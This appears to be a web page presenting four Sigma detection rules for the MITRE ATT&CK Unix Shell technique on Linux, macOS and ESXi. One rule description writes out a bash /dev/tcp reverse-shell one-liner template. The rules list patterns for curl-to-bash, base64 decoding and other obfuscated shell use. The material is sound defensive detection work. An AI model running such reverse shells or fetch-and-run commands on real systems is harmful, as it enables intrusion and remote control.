T1059.004 — Unix Shell

Tactic: Execution · Platforms: ESXi, Linux, macOS, Network Devices

Adversaries may abuse Unix shell commands and scripts for execution. Unix shells are the primary command prompt on Linux, macOS, and ESXi systems, though many variations of the Unix shell exist (e.g. sh, ash, bash, zsh, etc.) depending on the specific OS or distribution. Unix shells can control…

Sub-technique of Command and Scripting Interpreter (T1059).

Sigma detection rules (4)

T1059.004 Command and Scripting Interpreter: Unix Shell

title: "T1059.004 Command and Scripting Interpreter: Unix Shell"
id: 96317dbe-6669-425d-8d87-e74e82b35394
description: 'Behavioral Detection of Unix Shell reverse-shell one-liner execution. Previously required a1 to contain "-i" (interactive) AND a2 to contain "/dev/tcp/" simultaneously -- a self-contradictory pair, because in the real reverse-shell one-liner bash -c "bash -i >& /dev/tcp/HOST/PORT 0>&1" the outer exec-ed process argv is ["bash","-c","bash -i >& /dev/tcp/..."]: a1 is "-c", not "-i". The literal "/dev/tcp/" string only ever appears in the exec-ed process own argv when passed as a script string via -c, since inline shell redirection is otherwise parsed and consumed by the invoking shell before exec and never appears in the new process argv at all. Retargeted to match this real invocation shape: a0 is bash/sh, a1 is "-c", and the script argument (a2) contains "/dev/tcp/". Tune using: ExecutableName, UserContext, ParentProcess, TimeWindow, CommandLinePattern.'
references:
  - https://attack.mitre.org/techniques/T1059/004
author: Shahrukh Khan
date: 2026-05-08
license: MIT
tags:
  - attack.execution
  - attack.t1059.004

logsource:
  category: process_creation
  product: linux

detection:
  selection:
    type: EXECVE
    a0|endswith:
      - '/bash'
      - '/sh'
    a1: '-c'
  selection_revshell:
    type: EXECVE
    a2|contains: '/dev/tcp/'

  condition: all of selection*

falsepositives:
  - Legitimate shell scripts and health-check/monitoring tooling that use bash's /dev/tcp pseudo-device for TCP connectivity tests via 'bash -c'.

level: critical

T1059.004 Command and Scripting Interpreter: Unix Shell

title: "T1059.004 Command and Scripting Interpreter: Unix Shell"
id: ad873a12-abc1-45b7-bd11-1d002876b591
description: 'Behavioral Detection of Unix Shell Execution. (Retargeted to the process_creation macOS unified-log telemetry that actually captures this techniques behavior; see logsource below.) Tune using: ScriptLocation, ParentProcess, UserRole.'
references:
  - https://attack.mitre.org/techniques/T1059/004
author: Shahrukh Khan
date: 2026-03-29
license: MIT
tags:
  - attack.execution
  - attack.t1059.004

logsource:
  category: process_creation
  product: macos

detection:
  selection:
    Image|endswith:
      - '/bash'
      - '/zsh'
      - '/sh'
    CommandLine|contains: '-c'
  selection_pipe:
    CommandLine|contains|all:
      - 'curl'
      - '| bash'
  condition: selection or selection_pipe

falsepositives:
  - Legitimate install scripts distributed as curl-pipe-to-shell one-liners by software vendors.

level: high

T1059.004 Command and Scripting Interpreter: Unix Shell

title: "T1059.004 Command and Scripting Interpreter: Unix Shell"
id: 8c3dbb1d-e9a7-4c26-812b-b2d3eca02cf1
description: 'Behavioral Detection of Unix Shell Execution. Matching every -c invocation was tautological, since the vast majority of cron jobs, wrappers, and installers invoke a shell this way; now requires either an unusual working directory (/tmp, /dev/shm, /var/tmp) or encoded/obfuscated content in the executed command string, narrowing the match toward anomalous shell usage. Tune using: Interface, CommandString.'
references:
  - https://attack.mitre.org/techniques/T1059/004
author: Shahrukh Khan
date: 2026-06-12
license: MIT
tags:
  - attack.execution
  - attack.t1059.004

logsource:
  category: process_creation
  product: linux
  service: auditd

detection:
  selection:
    type: EXECVE
    a0|endswith:
      - '/bash'
      - '/sh'
      - '/zsh'
      - '/dash'
    a1: '-c'
  selection_suspicious_cwd:
    cwd|contains:
      - '/tmp'
      - '/dev/shm'
      - '/var/tmp'
  selection_encoded_content:
    a2|contains:
      - 'base64 -d'
      - 'base64 --decode'
      - 'eval '
      - '${IFS}'
      - '/dev/tcp/'
      - 'printf \x'
      - 'python -c'
      - 'perl -e'
      - 'curl -s'
      - 'wget -q'

  condition: selection and (selection_suspicious_cwd or selection_encoded_content)

falsepositives:
  - Deployment tooling or CI runners that legitimately execute shells from /tmp working directories, or admin one-liners using curl/wget within a -c string; scope Interface/CommandString to known automation accounts and pipelines.

level: low

T1059.004 Command and Scripting Interpreter: Unix Shell

title: "T1059.004 Command and Scripting Interpreter: Unix Shell"
id: 8e6085ae-3a32-4cde-9a66-9e02edac5ef8
description: 'Behavioral Detection of Unix Shell Execution. (Retargeted to the process_creation ESXi telemetry that actually captures this techniques behavior; see logsource below.) Tune using: UserContext, CommandPattern, ShellPath.'
references:
  - https://attack.mitre.org/techniques/T1059/004
author: Shahrukh Khan
date: 2026-05-28
license: MIT
tags:
  - attack.execution
  - attack.t1059.004

logsource:
  product: esxi
  service: shell

detection:
  selection:
    CommandLine|contains:
      - '/bin/sh -c'
      - 'busybox ash'
  selection_pipe:
    CommandLine|contains:
      - '|'
      - ';'

  condition: selection and selection_pipe

falsepositives:
  - Administrators chaining legitimate esxcli or vim-cmd commands together with shell operators for scripted maintenance will also match.

level: medium

Related sub-techniques

Explore